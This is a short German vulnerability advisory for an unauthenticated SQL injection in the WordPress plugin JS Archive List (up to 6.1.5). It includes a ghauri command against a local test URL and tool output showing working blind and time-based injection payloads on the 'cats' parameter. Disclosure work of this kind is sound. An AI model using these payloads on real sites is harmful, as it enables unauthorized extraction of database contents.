
JS Archive List <= 6.1.5 - Nicht authentifizierte SQL-Injection
JS Archive List <= 6.1.5 - Nicht authentifizierte SQL-Injection
Das JS Archive List Plugin für WordPress ist in allen Versionen bis einschließlich 6.1.5 anfällig für SQL-Injection, da der vom Benutzer bereitgestellte Parameter nicht ausreichend escaped wird und die vorhandene SQL-Abfrage nicht ausreichend vorbereitet ist. Dadurch können nicht authentifizierte Angreifer zusätzliche SQL-Abfragen an bestehende Abfragen anhängen, um vertrauliche Informationen aus der Datenbank zu extrahieren.
ghauri -u "http://localhost/wp-json/jalw/v1/archive?cats=1&exclusionType=exclude"
________.__ .__ {1.4.1}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 16:39:05 /2025-09-25/
[16:39:05] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: cats (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cats=1 AND 01609=1609&exclusionType=exclude
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: cats=if(now()=sysdate(),SLEEP(5),0)&exclusionType=exclude
---
[16:39:05] [INFO] testing MySQL
[16:39:05] [INFO] confirming MySQL
[16:39:06] [INFO] the back-end DBMS is MySQL